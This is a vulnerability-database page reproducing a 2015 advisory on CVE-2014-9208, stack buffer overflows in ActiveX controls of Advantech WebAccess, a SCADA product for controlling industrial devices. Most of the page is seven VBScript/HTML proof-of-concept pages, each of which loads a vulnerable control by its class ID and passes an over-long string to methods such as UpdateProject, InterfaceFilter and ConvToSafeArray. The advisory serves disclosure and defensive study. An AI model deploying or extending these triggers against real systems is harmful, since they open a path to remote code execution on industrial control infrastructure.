Advantech WebAccess 8.0 / 3.4.3 Code Execution

🗓️ 07 Sep 2015 00:00:00Reported by Praveen DarshanamType

packetstorm🔗 packetstormsecurity.com👁 53 Views

Advantech WebAccess 8.0 / 3.4.3 Code Execution vulnerability in AspVCObj.dl

Reporter	Title	Published	Views	Family All 15
0day.today	Advantech WebAccess 8.0, 3.4.3 ActiveX - Multiple Vulnerabilities	8 Sep 201500:00	–	zdt
0day.today	Advantech WebAccess 8.0, 3.4.3 ActiveX - Multiple Vulnerabilities	9 Sep 201500:00	–	zdt
CNVD	Advantech WebAccess Buffer Overflow Vulnerability (CNVD-2015-05943)	10 Sep 201500:00	–	cnvd
Check Point Advisories	Advantech WebAccess AspVCObj.AspDataDriven ActiveX Stack Buffer Overflow (CVE-2014-9208)	6 Oct 201500:00	–	checkpoint_advisories
Check Point Advisories	Advantech WebAccess Webdobj ActiveX UpdateProject Stack Buffer Overflow (CVE-2014-9208)	7 Oct 201500:00	–	checkpoint_advisories
Check Point Advisories	Advantech WebAccess ActiveX ConvToSafeArray Stack Buffer Overflow (CVE-2014-9208)	26 Oct 201500:00	–	checkpoint_advisories
Check Point Advisories	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetWideStrCpy Stack Buffer Overflow (CVE-2014-9208)	17 Nov 201500:00	–	checkpoint_advisories
CVE	CVE-2014-9208	11 Sep 201516:00	–	cve
Cvelist	CVE-2014-9208	11 Sep 201516:00	–	cvelist
Exploit DB	Advantech Webaccess 8.0 / 3.4.3 - ActiveX Multiple Vulnerabilities	8 Sep 201500:00	–	exploitdb

`Introduction  
*********************************************************************************  
Using Advantech WebAccess SCADA Software we can remotely manage Industrial  
Control systems devices like RTU's, Generators, Motors etc. Attackers can  
execute code remotely by passing maliciously crafted string to  
ConvToSafeArray API in ASPVCOBJLib.AspDataDriven ActiveX.  
  
Operating System: Windows SP1  
Affected Product: Advantech WebAccess 8.0, 3.4.3  
Vulnerable Program: AspVCObj.dll  
CVE-2014-9208  
  
*********************************************************************************  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
UpdateProject Overflow Remote Code Execution"  
*********************************************************************************  
  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:3703BA5D-7329-4E60-A1A5-AE7D6DF267C1' id='target' />  
<script language='vbscript'>  
  
<!--  
targetFile = "C:\WebAccess\Node\webdobj.dll"  
prototype = "Sub UpdateProject ( ByVal WwwPort As String , ByVal ProjName  
As String , ByVal ProjIP As String , ByVal ProjPort As Long , ByVal  
ProjTimeout As Long , ByVal ProjDir As String )"  
-->  
  
arg1="defaultV"  
arg2="defaultV"  
arg3=String(1044, "A")  
arg4=1  
arg5=1  
arg6="defaultV"  
  
target.UpdateProject arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6  
  
</script></html>  
</html>  
  
  
*********************************************************************************  
  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
InterfaceFilter Overflow Remote Code Execution"  
*********************************************************************************  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Function InterfaceFilter ( ByVal Interface As String ) As  
String"  
-->  
  
arg1=String(1044, "A")  
  
target.InterfaceFilter arg1  
  
</script></html>  
  
  
*********************************************************************************  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
FileProcess Overflow Remote Code Execution"  
*********************************************************************************  
  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Sub FileProcess ( ByVal Type As Integer , ByVal FileName As  
String )"  
-->  
  
arg1=1  
arg2=String(1044, "A")  
  
target.FileProcess arg1 ,arg2  
  
</script></html>  
  
  
*********************************************************************************  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
GetWideStrCpy Overflow Remote Code Execution"  
*********************************************************************************  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Function GetWideStrCpy ( ByVal Type As Integer , ByVal inStr  
As String ) As String"  
-->  
  
arg1=1  
arg2=String(1044, "A")  
  
target.GetWideStrCpy arg1 ,arg2  
  
</script></html>  
  
*********************************************************************************  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
GetRecipeInfo Overflow Remote Code Execution"  
*********************************************************************************  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Function GetRecipeInfo ( ByVal Type As Integer , ByVal  
filePath As String )"  
-->  
  
arg1=1  
arg2=String(1044, "A")  
  
target.GetRecipeInfo arg1 ,arg2  
  
</script></html>  
  
*********************************************************************************  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
GetLastTagNbr Overflow Remote Code Execution"  
*********************************************************************************  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Function GetLastTagNbr ( ByVal TagName As String ) As String"  
-->  
  
arg1=String(1044, "A")  
  
target.GetLastTagNbr arg1  
  
</script></html>  
  
*********************************************************************************  
  
Proof of Concept (PoC) for "Advantech WebAccess AspVCObj ActiveX  
ConvToSafeArray Overflow Remote Code Execution"  
*********************************************************************************  
<?XML version='1.0' standalone='yes' ?>  
<html>  
<object classid='clsid:89D00354-B2EA-4755-915D-615D3962C7D7' id='target' />  
<script language='vbscript'>  
<!--  
targetFile = "C:\WebAccess\Node\AspVCObj.dll"  
prototype = "Function ConvToSafeArray ( ByVal ArrSize As Integer , ByVal  
inStr As String )"  
-->  
  
arg1=1  
arg2=String(2068, "A")  
  
target.ConvToSafeArray arg1 ,arg2  
  
</script></html>  
*********************************************************************************  
Vulnerabilities were reported to Advantech sometime in January/February  
2015, coordinated through CSOC.From April 2015 they has been postponing the  
fix.  
  
Best Regards,  
Praveen Darshanam  
  
  
`

07 Sep 2015 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.22342